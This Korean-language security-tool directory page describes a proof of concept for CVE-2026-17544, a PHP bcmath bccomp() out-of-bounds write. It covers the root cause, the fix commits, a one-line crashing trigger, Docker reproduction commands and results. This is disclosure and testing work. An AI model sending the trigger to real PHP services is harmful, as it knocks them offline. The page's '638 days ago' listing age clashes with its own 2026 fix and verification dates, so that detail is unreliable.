Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-17544-PoC — CVE-2026-17544 — PHP bcmath bccomp() OOB 쓰기(스택 스매싱). 확인됨: 8.4.23/8.5.8에서 크래시 발생, 8.4.24에서 수정됨. GHSA-x692-q9x7-8c3f | Kitploit
도구/GitHubGitHub/boreas37/cve-2026-17544-poc
Vulnerability AnalysisExploitationBinary Exploitation
GitHubboreas37/cve-2026-17544-poc

CVE-2026-17544-PoC

CVE-2026-17544 — PHP bcmath bccomp() OOB 쓰기(스택 스매싱). 확인됨: 8.4.23/8.5.8에서 크래시 발생, 8.4.24에서 수정됨. GHSA-x692-q9x7-8c3f

저장소 보기
638일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-17544 — PHP bcmath bccomp() 경계를 벗어난 쓰기(스택 스매싱)

CVSS 9.8 (치명적) · CWE-787 · GHSA-x692-q9x7-8c3f

요약

ext/bcmath/libbcmath/src/str2num.c(번들된 libbcmath, PHP 8.4+)의 bc_str2num()에는 off-by-N 경계 밖 쓰기(out-of-bounds write)가 존재합니다. 사용자가 제공한 scale이 피연산자의 자동 스케일보다 작으면 소수 부분이 잘린 후, 후행 0 트림(trim)이 fractional_end를 갱신하지 않은 채 실행됩니다. 버퍼는 잘린(더 짧은) 길이로 할당되지만, 복사에는 잘리지 않은 길이가 사용됩니다 → 힙/스택 버퍼 오버플로우 발생.

영향받는 버전: PHP 8.4.* < 8.4.24, 8.5.* < 8.5.9 수정 버전: PHP 8.4.24 / 8.5.9 (2026-07-30), 커밋 fa18dab73f93 / ce2ec8a70755 제보자: Recep Asan (recepasan)

근본 원인

root@kitploit:~
// ext/bcmath/libbcmath/src/str2num.c — bc_str2num()
str_scale -= fractional_end - fractional_new_end;   // fractional_end NOT updated here
...
bc_new_num_nonzeroed(digits, str_scale)            // allocates SHORT (trimmed) buffer
bc_copy_and_toggle_bcd(nptr, fractional_ptr, fractional_end)  // copies UNTRIMMED length

8.4.24/8.5.9에는 한 줄짜리 수정(fractional_end = fractional_new_end;)과 회귀 테스트 ext/bcmath/tests/GHSA-x692-q9x7-8c3f.phpt가 함께 병합되었습니다.

트리거(검증됨)

root@kitploit:~
bccomp("1." . "9" . str_repeat("0", 300) . "1", "0", 300);

2026-08-12에 Docker를 통해 Raspberry Pi 5(arm64)에서 검증했습니다.

사용법

root@kitploit:~
# Vulnerable PHP:
docker run --rm -v "$PWD":/app -w /app php:8.4.23-cli sh -c \
  'docker-php-ext-install bcmath >/dev/null 2>&1 && php trigger.php'
# -> stack smashing detected (exit 133)

# Patched PHP:
docker run --rm -v "$PWD":/app -w /app php:8.4.24-cli sh -c \
  'docker-php-ext-install bcmath >/dev/null 2>&1 && php trigger.php'
# -> int(1), exit 0

영향

  • 원격 DoS: 공격자가 제어하는 피연산자/scale을 bccomp()에 전달하는 모든 서비스는 결정적으로 크래시될 수 있습니다(8.4/8.5, 스택 보호(Stack Protector)가 적용된 빌드는 중단(abort)되고, 미적용 빌드는 저장된 레지스터/반환 주소가 손상됩니다).
  • RCE: 힙 그루밍(heap grooming)을 통한 이론적 공격은 가능하지만, OOB 바이트가 BCD 값(0x00–0x09)으로 제한되고 오버플로우 크기도 제거된 0의 개수에 불과하므로 실현이 어렵고 아직 시연되지 않았습니다.

참고 자료

  • GHSA: https://github.com/php/php-src/security/advisories/GHSA-x692-q9x7-8c3f
  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-17544
  • 8.4 수정: fa18dab73f93 · 8.5 수정: ce2ec8a70755
도구 다운로드
빌드결과
PHP 8.4.23 (취약, Docker php:8.4.23-cli + bcmath)💥 *** stack smashing detected ***, exit 133 (SIGABRT)
PHP 8.5.8 (취약)💥 동일 — 결정적 중단(abort)
PHP 8.4.24 (패치됨, php:8.4.24-cli)✅ int(1), exit 0